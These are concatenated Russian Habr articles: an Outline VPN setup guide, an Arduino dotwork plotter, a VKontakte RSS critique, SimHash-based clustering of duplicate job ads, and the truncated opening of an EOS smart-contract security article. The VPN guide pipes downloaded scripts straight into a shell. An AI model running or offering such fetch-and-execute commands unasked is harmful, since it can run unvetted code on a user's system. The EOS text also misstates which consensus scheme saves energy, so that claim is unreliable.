Когда VPS будет готов, подключитесь к нему по протоколу [SSH](https://ru.wikipedia.org/wiki/SSH) из командной строки с правами суперпользователя (root). Для этого нужно запустить эмулятор терминала (в Windows: **«Главное меню → Служебные — Windows → Командная строка»**).
Затем наберите следующую команду:
```
ssh root@XXX.XXX.XXX.XXX
```
Вместо XXX.XXX.XXX.XXX используйте IP вашего VPS, который указан в письме о готовности сервера.
Старые версии ОС Windows могут не поддерживать команду SSH. В этом случае установите программу [PuTTY](https://www.putty.org/) и используйте ее для подключения к вашему серверу через SSH.
После подключения стоит обновить установленное на сервере программное обеспечение двумя командами (впрочем, этот этап можно пропустить):
```
apt update
apt upgrade
```
Также стоит сменить присланный в письме пароль root командой **passwd**.
### Шаг 2. Установите Docker на VPS
Серверная часть ПО Outline разворачивается автоматически, поэтому вам не нужно ничего знать о ее внутреннем устройстве. Перед началом настройки установите Docker следующей командой:
```
curl https://get.docker.com | sh
```
Создатели популярного средства автоматизации развертывания и управления приложениями в контейнерах максимально упростили процедуру инсталляции: скачанный с сайта скрипт сам определит версию вашего дистрибутива Linux, подключит репозитории с программным обеспечением и установит нужные пакеты, которые в дальнейшем можно будет обновлять с помощью утилиты apt.
### Шаг 3. Настройте VPN с помощью Outline Manager
Чтобы поднять на VPS собственный сервер VPN, для начала потребуется скачать с [официального сайта](https://getoutline.org/ru/get-started/), установить на компьютер и запустить Outline Manager для [Windows](https://raw.githubusercontent.com/Jigsaw-Code/outline-releases/master/manager/stable/Outline-Manager.exe), [MacOS](https://raw.githubusercontent.com/Jigsaw-Code/outline-releases/master/manager/stable/Outline-Manager.dmg) или [Linux](https://raw.githubusercontent.com/Jigsaw-Code/outline-releases/master/manager/stable/Outline-Manager.AppImage).
В главном окне программы нужно выбрать пункт **«Настроить Outline где угодно»** (правый нижний угол).
После нажатия кнопки **«Настроить»** вы увидите экран с инструкциями, в котором будет приведена длинная команда.
Скопируйте эту команду из **поля 1** и вставьте ее в командную строку вашего виртуального сервера. Если вы разлогинились, заново зайдите на VPS по протоколу SSH:
```
bash -c "$(wget -qO- https://raw.githubusercontent.com/Jigsaw-Code/outline-server/master/src/server_manager/install_scripts/install_server.sh)"
```
На этом установка серверной части Outline VPN завершена. Остается скопировать из результатов работы инсталляционного сценария выделенную зеленым строку, вставить ее в специальное поле ввода приложения Outline Manager и нажать кнопку **«Готово»**.
Сервер Outline VPN настроен и готов к работе, больше командная строка вам не понадобится: для администрирования используйте Outline Manager на своем персональном компьютере.
### Шаг 4. Создайте ключи доступа для клиентов VPN
Для доступа пользователей к вашему серверу Outline VPN нужны специальные ключи, которые генерируются в Outline Manager. Один ключ создается в процессе установки, но мы рекомендуем задействовать его только для администрирования. Добавьте новый ключ, нажав соответствующую кнопку и переименуйте его.
Обратите внимание, что это меню также позволяет удалить пользовательский ключ или задать для него лимит трафика. Рядом вы увидите кнопку **«Поделиться»**, после нажатия на которую откроется окно с приглашением.
Скопируйте приглашение и отправьте его пользователю по надежному каналу связи.
**Внимание!** Не показывайте посторонним ключи, коды доступа и уникальные ссылки для подключения к серверу. Также не стоит давать доступ к VPN людям, которым вы не доверяете на 100%. Во-первых, интернет-трафик сервера ограничен тремя терабайтами в месяц, и в случае превышения с вас будет взиматься дополнительная плата. Вторая причина более серьезна: если пользователь совершит через VPN противоправные действия, вам будет непросто доказать сотрудникам правоохранительных органов свою невиновность. Тут возникает опасность быть привлеченным к административной или даже к уголовной ответственности, притом не только в российской юрисдикции, но и в Нидерландах или в США.
### Шаг 5. Настройте Outline VPN Client на смартфоне
Для подключения к серверу VPN откройте в браузере уникальную ссылку из приглашения, нажмите кнопку **«Подключить это устройство»**, скопируйте код доступа и нажмите кнопку **«Установить Outline»**, если клиентское приложение еще не инсталлировано (в противном случае нажмите кнопку **«Добавить сервер»**).
Установите клиентское приложение Outline для [Windows](https://raw.githubusercontent.com/Jigsaw-Code/outline-releases/master/client/stable/Outline-Client.exe), [MacOS](https://itunes.apple.com/us/app/outline-app/id1356178125), [Linux](https://raw.githubusercontent.com/Jigsaw-Code/outline-releases/master/client/stable/Outline-Client.AppImage), [iOS](https://itunes.apple.com/us/app/outline-app/id1356177741) или [Android](https://play.google.com/store/apps/details?id=org.outline.android.client), а затем запустите его, вставьте скопированный код доступа и нажмите кнопку **«Добавить сервер»**. Теперь вы можете подключаться к собственному серверу VPN, не опасаясь блокировок.
**Внимание!** На мобильных устройствах при первом подключении нужно будет согласиться с добавлением конфигурации VPN, нажав кнопку **«OK»**.
### Заключение
Сделать собственный зарубежный сервер VPN на арендованном VPS довольно легко. Для этого не нужно обладать глубоким пониманием предмета и знать администрирование ОС Linux. Конечно, популярные сервисы предложат вам десятки виртуальных локаций вместо одной, но нужен ли пользователю такой выбор, если сервис могут в любой момент забанить? Своя сеть VPN гораздо надежнее и безопаснее, ведь даже если ваш IP каким-то чудом попадет в черный список, всегда можно настроить Outline на новом недорогом VPS за 5 минут.
\_\_\_\_\_\_\_\_\_\_
Не забывайте о дополнительной скидке на аренду серверов для наших читателей: при размещении заказа назовите консультанту специальный пароль «**Я С ХАБРА**» — и дисконт ваш! | https://habr.com/ru/post/686202/ | null | ru | null |
# Самодельный дешевый Dotwork-принтер
Порой во мне загорается огонек изобретателя, и я часами сижу и что-то паяю/выпиливаю. Так случилось в этот раз. Я загорелся идеей создать свой принтер. Тема создания 3d принтера уже избита, да и материально затратная. Немного подумав, я решил сделать бюджетный вариант принтера, который мог бы рисовать карандашом/ручкой/фломастером. А вспомнив свои попытки нарисовать что-то в стиле Dotwork, я остановил свой выбор на принтере, который автоматизирует именно этот процесс. Итого были сформированы следующие требования к принтеру:
* дешево
* для рисования используются подручные средства
* на выходе получаются рисунки в стиле Dotwork
А когда оказалось, что этот проект можно продвинуть как курсовую работу, было окончательно решено: принтеру быть. Чтобы конструкция получилась не слишком большой, размер области для печати был взят как А5.
**О dotwork**Дотворк (Dotwork) – это особый стиль живописи, при котором рисунок состоит из большого количества точек. Дотворк по-другому называют пуантилизмом или точечной техникой. Основные элементы, мелкие точки, наносятся со строгим соблюдением определенного интервала. Чем выше плотность расположения точек, тем темнее оттенок. По-другому говоря, точки создают форму и делают рисунок более контрастным и насыщенным. Интересен тот факт, что данная техника многими профессионалами используется в качестве самостоятельной и лежит в основе многих изображений.
#### Каркас
Процесс начался с поиска схемы для основы. Выбор пал на H-bot, так как он легок в реализации, недорог и, в отличие от CoreXY, в нем не надо резать ремень. Как видно из схемы, потребуется 2 шаговых двигателя, 4 оси и 1 ремень.
Для основы были использованы бруски с сечением 20\*40. Конечно, лучше использовать фанеру и вырезать на ней нужные отверстия, тогда конструкция получилась бы более ровной и презентабельной, но из-за того, что кусок фанеры транспортировать и обрабатывать сложнее, были выбраны бруски.
Крепления для направляющих и подшипники к ним были куплены в Китае. Рассчитаны они на направляющие с диаметром 8мм. После непродолжительных поисков было решено сделать оси из спиц для вязания. Дешево, как раз нужной длины, легко распилить. К тому же, как оказалось, на спицах хорошо выдавливаются бороздки подшипниками. Это свойство позволило конструкции свободно двигать вдоль направляющих, несмотря на отсутствие у них параллельности.
Так как это все равно прототип, то линейные подшипники были закреплены проволокой. Крепко, надежно и если что, можно быстро снять.
Двигатель был куплен с шагом 0.9 градуса для наибольшей точности. Когда я поставил двигатели, обнаружилась новая проблема: шляпки на двигателях не подходили к ремню — происходило проскальзывание при полном обороте. Первоначальные попытки снять не увенчались успехом, нагревание/охлаждение никак не помогали, поэтому было принято зверское, но действенное решение:
Чтобы ремень не слетал, весь путь по платформе должен быть на одном уровне. В связи с этим, под подшипники пришлось подкладывать деревяшки, чтобы регулировать их высоту. Но и это не спасало от слета ремня. И снова на помощь пришла проволока:
Для управления двигателями была использована Arduino Uno, а точнее ее китайская копия. Как оказалось, вполне бы хватило и Arduino mini. Питания от arduino для двигателей не хватало, и поэтому был заказан MOTOR SHIELD L293D. Как блок питания был использован блок питания от старого модема, из всего найденного под рукой он выдавал наибольший вольтаж — 9V (двигатели рассчитаны на 5-12V). Для простоты подключения из модема был выломан вход, к нему припаяны 2 проводка и все это было подключено к shield. Shield насаживался на arduino.
Изначально для управления фломастером планировалось использовать систему из 2 колес, как в прокатных станках, но, для быстроты исполнения, крепление было сделано сразу на сервоприводе. Получается, что точки ставятся не кончиком фломастера, а боком. К первоначальной идее планируется вернуться в следующей версии принтера. Сервопривод также подключается к shield.
#### Наполнение кодом
Для arduino был написан код, который принимает от ПК по Serial Port команду в виде строки из 9 символов. Первый символ это код команды, далее идут по 4 символа на координаты X и Y. Ссылка на код на стороне ПК будет в конце статьи.
**Код для Arduino**
```
#include
#include
AF\_Stepper motor(2048, 1);
AF\_Stepper motor2(2048, 2);
Servo servo1;
int x0 = 0;
int y0 = 0;
int K = 1;
void setup() {
motor.setSpeed(15);
motor2.setSpeed(15);
servo1.attach(10);
servo1.write(65);
Serial.begin(9600);
}
void OneTouch(){
servo1.write(60);
delay(50);
servo1.write(65);
}
void MoveRight(int h){
motor.step(h, FORWARD, SINGLE);
motor2.step(h, FORWARD, SINGLE);
}
void MoveDown(int h){
motor.step(h, BACKWARD, SINGLE);
motor2.step(h, FORWARD, SINGLE);
}
void MoveUp(int h){
motor.step(h, FORWARD, SINGLE);
motor2.step(h, BACKWARD, SINGLE);
}
void MoveLeft(int h){
motor.step(h, BACKWARD, SINGLE);
motor2.step(h, BACKWARD, SINGLE);
}
void OnePointer(int x, int y){
int stepX = x - x0;
int stepY = y - y0;
if (stepX > 0)
MoveRight(stepX);
else
MoveLeft(-stepX);
if (stepY > 0)
MoveDown(stepY);
else
MoveUp(-stepY);
x0 = x;
y0 = y;
OneTouch();
}
void Move(int x, int y){
int stepX = x - x0;
int stepY = y - y0;
int kX, kY;
while ((stepX != 0) || (stepY != 0)){
kX=K;
kY=K;
if (kX> abs(stepX))
kX = abs(stepX);
if (kY> abs(stepY))
kY = abs(stepY);
if (stepX > 0){
MoveRight(kX);
stepX-=kX;
}
if (stepX < 0){
MoveLeft(kX);
stepX+=kX;
}
if (stepY > 0){
MoveDown(kY);
stepY-=kY;
}
if (stepY < 0){
MoveUp(kY);
stepY+=kY;
}
}
x0 = x;
y0 = y;
OneTouch();
}
void loop() {
while (Serial.available() == 0);
String buffer ="";
int i = 0;
delay(100);
while(i < 9) {
buffer += Serial.read();
i++;
}
String code = buffer.substring(0,1);
code.trim();
int cod = code.toInt();
String first = buffer.substring(0,5);
first.trim();
int x = first.toInt() - cod\*10;
String second = buffer.substring(0,9);
second.trim();
int y = second.toInt() - x\*10000 - cod \* 100000;
switch (cod){
case 0:
Move(x,y);
OneTouch();
break;
case 1:
servo1.write(65);
delay(50);
Move(x,y);
break;
case 2:
servo1.write(60);
delay(50);
Move(x,y);
servo1.write(65);
break;
case 3:
servo1.write(65);
delay(50);
break;
case 4:
servo1.write(60);
delay(50);
break;
case 5:
Move(x,y);
break;
case 6:
Move(0,0);
motor.release();
motor2.release();
break;
case 7:
K=x;
break;
}
Serial.print(1);
}
```
Приложение на стороне ПК позволяет загрузить изображение, перевести в черно-белые тона и сгенерировать набор точек.
**Принцип генерирования точек**На основе черно-белого изображения генерируется массив на 256 int. В ячейку с номером N заносится количество пикселей в изображении цвета RGB(N,N,N). Потом, из окна берутся значения «Num points» и «fuction» и с помощью них значения в ячейках увеличиваются. Далее запускается цикл, который выполняется, пока хоть в одной ячейке число больше 0. Цикл делает следующие шаги:
* сгенерировать рандомные значения X и Y
* взять цвет пикселя из изображения по этим координатам
* проверить в массиве значение по индексу равному цвету пикселя
* если значение больше 0, то:
1. значение в массиве уменьшить на 1
2. занести координаты в очередь
3. нарисовать точку
Вот так выглядит окно приложения:
Как оказалось, если на двигателях не оставлять питание после каждого движения, то они прокручиваются назад, а если оставлять – то они греются. А еще больше греется shield, поэтому был откопан старый куллер и закреплен над микросхемами. Питание он берет от того же блока питания напрямую, чтобы не занимать разъёмы на shield. После двухчасового теста ничего не сгорело. Так же была добавлена коробка, для защиты конструкции.
Так как стола для него не было сделано, чтобы лист не шатался при печати, был взят лист формата А3. Платформа становится на лист и прижимает его. А чтобы и вся конструкция не скользила, на нее ставится гантель или банка варенья. Печатает она довольно медленно, в среднем на точку уходит 0,7 секунды. И вот что получается на выходе:
#### Заключение
Принтер получился медленным, непрезентабельным, требующим доработок, но печатающим в нужном стиле. Начало положено и сделаны многие выводы, как по конструкции, так и по коду, и если все же хватит терпения на вторую версию данного агрегата — все будет учтено и сделано более качественно.
Из потраченных на него средств (приблизительно):
* 3$ на спицы
* 17$ двигатели 2шт. (хотя можно было взять и менее точные)
* 3$ arduino Uno (но хватит и Nano)
* 5,5$ Линейные подшипники 8\*15\*24мм, 10 шт. (понадобилось 8шт.)
* 2,5$ MOTOR SHIELD L293D (можно купить отдельно 2 микросхемы L293D, а сервопривод питать от arduino)
* 2$ Обычные подшипники 8\*22\*7мм, 6шт.
* 8$ Крепления для направляющих 8мм, 8шт.
* 4$ Ремень 20-GT2-6 (2м) + 2 ролика
* 2$ Сервопривод Sg90 9G
* ~10$ на каркас, болты, гвозди, проволоку (тут можно сэкономить, если многое уже есть дома)
Бесплатно: вентилятор, блок питания.
**Итого** около 57$, хотя можно сделать и еще дешевле.
[Код для ПК.](https://github.com/KuznetsSudby/Mr.-Pointer.git)
Короткое видео работы принтера: | https://habr.com/ru/post/388587/ | null | ru | null |
# Во vkontakte будет RSS?
Недавно при просмотре фотографий на вконтакте.ру знакомый обратил моё внимание на замечательную иконку rss в адресной строке моего браузера. Мы были несколько удивлены, и решили попробовать её в действии.
Опера нормально ленту показывать отказалась. Выдала нам пару надписей с неработающими ссылками и всё. Akregator, тоже не смог загрузить ни одного настоящего сообщения. Google reader тоже ничего не понял.
Ну, делать нечего, откроем исходный код какой нибудь ленты.
Например, вот этой: <http://vkontakte.ru/photos.php?act=rss&id=321290&st=>
> `</fontxml version="1.0" encoding="utf-8" standalone="yes"?>
>
> <rss version="2.0"
>
> xmlns:media="http://search.yahoo.com/mrss"
>
> xmlns:atom="http://www.w3.org/2005/Atom">
>
> <channel>
>
> <atom:icon>/images/vkontakte\_piclens.pngatom:icon>
>
> <item>
>
> <title>title>
>
> <link>photos.php?act=show&id=-49510\_4239429link>
>
> <media:thumbnail url="http://cs04.vkontakte.ru/u04196/321290/m\_e315d4cf3c.jpg"/>
>
> <media:content url="http://cs04.vkontakte.ru/u04196/321290/x\_e315d4cf3c.jpg"/>
>
> item><item>
>
> <title>title>
>
> <link>photos.php?act=show&id=-49510\_117468311link>
>
> <media:thumbnail url="http://cs210.vkontakte.ru/u1201305/321290/m\_57308973.jpg"/>
>
> <media:content url="http://cs210.vkontakte.ru/u1201305/321290/x\_52f8714e.jpg"/>
>
> item>
>
> channel>
>
> rss>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Что же тут не так?
**Во-первых**, авторы не потрудились заполнить title. Ну правильно, у фотографий-то заголовков нет.
**Во-вторых**, отсутствует description. Вот описание у фотографий как раз есть, можно было и выложить.
**В-третьих**, ссылка относительная. Нигде, вроде, не написано что она должна быть абсолютной, но совершенно не ясно относительно чего её считать.
**В-четвертых**…
Совершенно не понятно, зачем вообще включали они вывод лент, если он не работает. Да, поддержку RSS они, конечно, не анонсировали, но ведь мы не слепые.
Будем надеяться, что когда-нибудь они всё доделают и мы будем иметь простой способ получения новостей.
Пользуясь случаем, предложу объединить блоги «социальная сети» и «социальные сети». Или я неправильно их понимаю?
\_\_\_\_\_\_\_\_\_
Текст подготовлен в [ХабраРедакторе](http://www.bankinform.ru/HabraEditor/)
UPD: Firefox расшифровал эту ленту. Однако попасть на страницу комментариев нельзя.
Удивительно, но для списка групп выдается лента, содержащая фотографии одного из альбомов. | https://habr.com/ru/post/47633/ | null | ru | null |
# У компании есть еще похожие вакансии
2 марта я выступал с докладом на Data Science Meetup, который проходил в нашем офисе. Я рассказал об опыте создания алгоритма по схлопыванию похожих вакансий в поисковой выдаче. По [ссылке](https://habrahabr.ru/company/superjob/blog/323350/) вы можете ознакомиться с отчетом о прошедшей встрече, там же будут доступны записи выступлений и ссылки на презентации. Для тех же, кто предпочитает воспринимать информацию в текстовом виде, я написал эту статью.
Мы столкнулись с проблемой, когда в поиске по вакансиям выдача заполнялась одинаковыми вакансиями от одного работодателя. Например, по запросу «водитель» посетитель мог получить 30—40 вариантов одной и той же вакансии на одну и ту же позицию.
Откуда появляются такие вакансии? От крупных сетевых компаний, которых у нас в Superjob много. Как правило, они нанимают большое количество персонала на одинаковые должности. Или же рекрутеры «размножают» вакансии сознательно, надеясь, охватив большее количество поисковых запросов, быстрее найти нужного соискателя.
Соискателю в таком случае приходится пролистывать целые страницы однотипных вакансий, а вакансии, которые могли бы его заинтересовать, быстро вытесняются с первых страниц выдачи (что, впрочем, вызывает недовольство и работодателей, их разместивших).
Решением было бы убрать из поисковой выдачи все дубли и оставить только одну вакансию «водителя».
Это помогло бы решить проблему соискателя и избавило бы нас от недовольства клиентов. Как этого можно добиться?
* Необходимо было научиться оценивать сходство вакансий.
* Объединить похожие вакансии в группы.
* Показывать в выдаче самого релевантного представителя группы.
Разберем каждый пункт подробнее.
Что представляет из себя вакансия?
Это полуструктурированный текст, части которого — заголовок, требования, обязанности и т.д., плюс такие атрибуты, как зарплата, адрес работы, график работы и прочее.
В Superjob и ранее реализовывались алгоритмы по выявлению дубликатов, основанные на полном или частичном совпадении атрибутов или других частей вакансии, но все они давали недостаточно хороший результат.
На этот раз мы решили попробовать чуть более продвинутые алгоритмы для оценки лексического сходства вакансий.
LSH
---
Locality-sensitive hashing (LSH) функции — это такие функции, целью которых является максимизация вероятности коллизии схожих аргументов функции. Незначительное изменение аргумента функции, например, текста вакансии, должно приводить к незначительному же изменению результата функции хеширования.
Одними из наиболее часто используемых представителей LSH-функций являются функции SimHash и Minhash. Это алгоритмы хеширования, преобразующие текст в список значений, который в итоге представляет из себя сигнатуру этого текста.
В случае SimHash список значений — это просто список битов (значения 0 или 1).
В случае MinHash это тот же список значений, но значение в списке представляет собой минимальное значение хеш-функции каждого из слов относительно заданной хеш-функции. Количество хеш-функций задается требованием наибольшей величины ошибки обнаружения дубликата.
Основным же отличием обоих алгоритмов является вероятность коллизий. В случае SimHash она равна косинусному сходству векторов частотности слов в документах, а в случае MinHash — сходству Жаккара.
Я встречал еще такое мнение, что MinHash лучше детектирует копипасту, в то время как SimHash — плагиат.
Мы решили, что косинусное сходство более соответствует нашим требованиям к определению сходства вакансий, и остановили свой выбор на SimHash алгоритме.
Описание SimHash алгоритма:
> 1. Определяем размер симхеша.
> 2. Создаем массив целых чисел, заполненный нулями, с размером, равным длине хеша в битах.
>
>
> ```
> hash = [0,0,0,0,0,0,0,0]
> ```
> 3. Разбиваем исходный документ на слова, для каждого слова вычисляем его хеш с помощью любой хеш-функции (md5, sha1), возвращающей результат одинаковой длины.
>
>
> ```
> doc = [“водитель”,“такси”,“авто”]
> doc = [01111001, 00110101, 00101110]
> ```
> 4. Для каждого бита полученного хеша увеличиваем соответствующий ему элемент массива на единицу в случае, если исходный бит равен 1, и уменьшаем в противном случае.
>
>
> ```
> 01111001
> 00110101
> 00101110 +
> hash =[-3,-1,3,1,1,1,-1,1]
> ```
> 5. На основе полученного массива генерируется результат хеширования следующим образом: если элемент массива больше нуля, то соответствующий бит симхеша выставляем в единицу, иначе в ноль.
>
>
> ```
> hash =[ 0, 0,1,1,1,1, 0,1]
> simhash(doc) = 00111101
> ```
>
>
>
>
Что теперь с этим можно сделать? Можно определить, насколько похожи документы, используя только их сигнатуры.
Для этого достаточно их «проксорить», в результате чего мы получим число позиций, в которых эти сигнатуры различаются.
```
00111101
XOR 00111000
= 00000101
```
Получить численное выражение сходства двух вакансий можно, вычислив отношение совпадающих бит к длине симхеша. Для приведенных выше симхешей это будет:
`Similarity index = 6/8 = 0.75 (75%)`
Таким образом, мы научились оценивать сходство двух вакансий. Теперь мы можем сгенерировать хеши для всех вакансий и найти для каждой из них похожие — скажем, отличающиеся не более чем на 2 бита.
Например, если мы найдем для h1 такие хеши,
```
h1 = 00111101
h2 = 00111000
h3 = 00001101
```
то обнаружим, что h2 отличается от h3 более чем на 2 бита.
Т.е. хеши в группе могут отличаться друг от друга сильнее, чем нам хотелось бы. Это означает, что хеши будут попадать в другие группы и группы будут иметь пересечения.
Поэтому определим, какими свойствами должны обладать группы похожих вакансий:
1. все вакансии в группе должны отличаться друг от друга не более чем на определенную величину;
2. добавление, изменение или удаление не должно приводить к полному изменению состава групп (нет главной вакансии);
3. количество групп заранее не известно.
Кластеризация
-------------
Иерархическая кластеризация методом полной связи (дальнего соседа) позволяет выполнить все три пункта.
Во-первых, нам не надо беспокоиться и подбирать оптимальное значение количества кластеров (заранее). Во-вторых, метод полной связи формирует сферические кластеры постоянного радиуса, все точки внутри которых находятся на определенном расстоянии. В-третьих, добавление или удаление точки не приводит к слияниям или распаду кластеров.
Есть один минус — сложность иерархической кластеризации O(n^3). Но, так как кластеризовать мы будем вакансии одного клиента, мы можем позволить себе не обращать на это внимания в надежде, что количество вакансий у одного клиента будет ограничиваться разумными значениями.
На выходе мы получаем дендрограмму, а именно граф без пересечений вложенных друг в друга кластеров.
Как на ее основе получить кластеры похожих вакансий определенной степени похожести?
Разрезав дендрограмму, мы получим N плоских кластеров, которые будут соответствовать нашим требованиям. Нужно лишь определить, в каком месте ее лучше разрезать.
Для этого можно применить стандартный прием с максимизацией второй производной функции зависимости количества кластеров от длины разреза дендрограммы.
Максимальное значение второй производной укажет нам на оптимальную длину разреза дендрограммы, так как в этом месте скорость изменения количества кластеров замедляется быстрее всего.
Если мы решим объединять в кластеры похожие друг на друга на 80% ±5% вакансии, достаточно найти максимальное значение второй производной в этом диапазоне и в этом месте разделить дендрограмму на кластеры.
Реализация
----------
При создании или изменении вакансии отправляем задачу в очередь в rabbitmq на вычисление simhash. После чего в другой очереди выполняем задачу кластеризации вакансий клиента. Каждой вакансии присваиваем идентификатор кластера, в который она попала. Полный цикл по вычислению симхешей и кластеризации вакансий всех клиентов от начала и до конца занимает 5 минут.
Идентификатор кластера приезжает в [сфинкс](http://sphinxsearch.com/) в виде атрибута вакансии, по которому уже и происходит группировка результатов поиска. В выдачу попадают только вакансии с наилучшим значением функции ранжирования в своем кластере. Если вакансия в кластере не одна, рядом с ней мы делаем ссылку, по которой можно посмотреть остальные вакансии из того же кластера.
В конечном счете мы добились требуемого результата.
Результаты
----------
Получившийся алгоритм, конечно, не идеален, похожие вакансии не всегда попадают в свои группы похожих вакансий. Но мы провели а/б-тестирование множества метрик и получили хорошие результаты:
— соискатели стали откликаться чаще и на вакансии большего количества клиентов, причем чаще с первой страницы поиска;
— уменьшилась средняя и средне-максимальная глубина просмотра результатов поиска.
Также мы выяснили, что в 75% поисков возможна группировка похожих вакансий и в 66% поисков пользователь видел похожие вакансии. | https://habr.com/ru/post/325014/ | null | ru | null |
# Уязвимости EOS Blockchain на ZeroNights 2018
В рамках данной статьи будут рассмотрены несколько реальных уязвимостей в EOS blockchain (одном из конкурентов Ethereum) и то, как они были встроены в [конкурс New-Generation Secure Slot Machine](https://2018.zeronights.ru/activities/%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D1%8B%D0%B9-%D0%B8%D0%B3%D1%80%D0%BE%D0%B2%D0%BE%D0%B9-%D0%B0%D0%B2%D1%82%D0%BE%D0%BC%D0%B0%D1%82-%D0%BD%D0%BE%D0%B2%D0%BE%D0%B3%D0%BE/) на ZeroNights 2018. Если вам интересно познакомиться с тем, как обстоят дела с безопасностью в этой сети blockchain, то welcome под кат.
Вступление
----------
Все началось с того, что недавно, во время аудита смарт-контрактов Etherium на безопасность, один наш знакомый скидывает нам [статейку](https://github.com/slowmist/eos-smart-contract-security-best-practices/blob/master/README_EN.md) про уязвимости в смарт-контрактах в сети EOS. Нас это сильно заинтересовало, и мы решили разобраться в уязвимостях более детально.
Всё это в итоге и привело к созданию конкурса на ZeroNights 2018 под названием «Однорукий бандит» с уязвимостями в смарт-контракте.
Начнем непосредственно с рассмотрения сети блокчейн EOS, как с ним работать, и как у него все устроено внутри. Статей, описывающих технологию, в Интернете много, поэтому, скорее всего, всех технических деталей не будет, но общий смысл мы постараемся передать так, чтобы и обычный пользователь смог получить элементарное представление о механизмах работы blockchain EOS.
### Описание технологии EOS
EOS.io – блокчейн нового поколения от компании [Block.one](https://block.one/), основанный на концепции PoS ([Proof of stake](https://ru.wikipedia.org/wiki/%D0%94%D0%BE%D0%BA%D0%B0%D0%B7%D0%B0%D1%82%D0%B5%D0%BB%D1%8C%D1%81%D1%82%D0%B2%D0%BE_%D0%B4%D0%BE%D0%BB%D0%B8_%D0%B2%D0%BB%D0%B0%D0%B4%D0%B5%D0%BD%D0%B8%D1%8F)).
Из описания самих создателей сети: «EOS — это бесплатное программное обеспечение сети блокчейн с открытым исходным кодом, который предоставляет разработчикам и предпринимателям платформу для создания, развертывания и запуска высокопроизводительных децентрализованных приложений (DAPP).»
Если в двух словах попытаться объяснить концепцию, то её хорошо отражает выдержка из [статьи](https://ru.wikipedia.org/wiki/%D0%94%D0%BE%D0%BA%D0%B0%D0%B7%D0%B0%D1%82%D0%B5%D0%BB%D1%8C%D1%81%D1%82%D0%B2%D0%BE_%D0%B4%D0%BE%D0%BB%D0%B8_%D0%B2%D0%BB%D0%B0%D0%B4%D0%B5%D0%BD%D0%B8%D1%8F) на Википедии:
> Идея proof-of-stake (PoS) заключается в решении проблемы proof-of-work (PoW), связанной с большими тратами электроэнергии. Вместо вычислительных мощностей участников, имеет значение количество криптовалюты, находящейся у них на счету. Так, вместо использования большого количества электроэнергии для решения задачи PoW, у участника PoS ограничен процент возможных проверок транзакций. Ограничение соответствует количеству криптовалюты, находящейся на счету у участника
Сеть совсем новая, и первый запуск главной сети (mainnet) состоялся 10 июня 2018 года. Основной крипто-валютой является EOS, а главный портал для разработчиков [developers.eos.io](https://developers.eos.io)
Блокчейн EOS.io поддерживает приложения, созданные пользователями с использованием кода WebAssembly (WASM) – нового веб-стандарта с широкой поддержкой крупных компаний, таких как Google, Microsoft, Apple и других.
На данный момент наиболее свежим инструментарием для создания приложений, которые компилируют код в WASM, является clang / llvm с их компилятором C / C ++.
Для лучшей совместимости разработчики рекомендуют использовать EOSIO CDT (Contract Development Toolkit) – набор утилит от самих разработчиков для удобной и корректной работы над созданием смарт контрактов.
Предыдущий компилятор eosiocpp уже deprecated и не поддерживается, поэтому всем рекомендуется переходить на новый (на момент написания статьи) EOSIO CDT 1.5.
### В отличие от эфира
Эфир в своей концепции использует PoW (Proof of Work), что требует дорогостоящих вычислений и награду получает тот, кто первый решил математическую задачу. То есть те, кто решал параллельно, но не успел решить, попусту затратили электроэнергию. В этой ситуации майнеры воюют между собой за более совершенные технологии и оборудование. Чтобы быстрее генерировать блоки и, тем самым, зарабатывать.
В отличие от Эфира в сети ЕОС по концепции PoS создателя нового блока выберет система, и определяется это по количеству личного состояния – доли от общего количества криптовалюты. Таким образом, у кого больше состояние, у того больше шансы быть выбранным системой. Но в отличие от PoW (эфира) вознаграждение за генерацию нового блока отсутствует в принципе, и доход майнеров составляют исключительно комиссии с транзакций.
Вывод — криптовалюты на базе PoW могут быть в 1000 раз более энергоэфективными.
### Разворачиваем среду разработки
Так, с теорией вроде покончили, переходим к практике. А на практике всё выглядит гораздо интереснее. С документацией на момент, когда пытались разобраться летом и начать что-то делать для ZeroNights 2018, было всё совсем плохо, а основной портал для разработки глючил, был наполовину пуст и иногда даже не работал.
Тестовые сети еще толком не были запущены, поэтому пришлось разворачивать свою ноду. Кстати, в отличие от мнения в интернете, завести ее оказалось не так сложно. Пользуясь официальной документацией, мы запустили ее из докера [developers.eos.io/eosio-nodeos/docs/docker-quickstart](https://developers.eos.io/eosio-nodeos/docs/docker-quickstart)
Расскажем о основных утилитах, программах для работы с блокчейном EOS, с которыми пришлось иметь дело в момент работы над конкурсом:
* [Nodeos](https://developers.eos.io/eosio-nodeos/docs/) – собственно, служба самой ноды EOSIO; можно конфигурировать и настраивать различные плагины, например CORS, history и другие.
* [Cleos](https://developers.eos.io/eosio-nodeos/docs/cleos-overview) – консольная утилита для работы с нодой, вызовов методов контрактов и взаимодействия с кошельком, ключами, доступами. Самый частый инструмент при работе с EOS.
* [Keosd](https://developers.eos.io/keosd/docs/) – консольный кошелек, или точнее тоже служба кошелька, хранилище приватных ключей.
* [Eosio.cdt](https://github.com/EOSIO/eosio.cdt) – Contract Development Toolkit, так называемый набор утилит разработчика для отладки и компиляции контрактов, генерации ABI-файлов и не только.
* [Eos.js](https://github.com/EOSIO/eosjs) – Библиотека Javascript API для удобной работы с нодой и контрактами через веб, встраивается на сайт.
* [Scatter](https://get-scatter.com/) – десктоп кошелек для надежного хранения ваших ключей аккаунтов. Существует веб-библиотека scatter.js, которая взаимодействует с десктопным кошельком Scatter по веб-сокетам и тем самым помогает работе с DAPP приложениями в браузере.
Уфф!.. Да, программок много, разобраться в них тоже не совсем легко. Описание всего этого заслуживает отдельного поста и выходит за рамки данной статьи. Но давайте представим, что мы установили ноду на свой сервер и даже научились при помощи cleos вызывать методы контракта, если бы он у нас был.
Да, самое главное. Надо бы нам набросать сам смарт-контракт. Писать мы его будем на C++ и, чтобы сделать хоть что-то толковое, пришлось прочитать немало документации.
Для понимания контрактов везде приводят пример контракта [Hello](https://github.com/EOSIO/eos/tree/master/contracts/hello). Основным файлом является hello.cpp и весь контракт описан в нем
```
#include
using namespace eosio;
class hello : public eosio::contract {
public:
using contract::contract;
/// @abi action
void hi( account\_name user ) {
print( "Hello, ", name{user} );
}
};
EOSIO\_ABI( hello, (hi) )
```
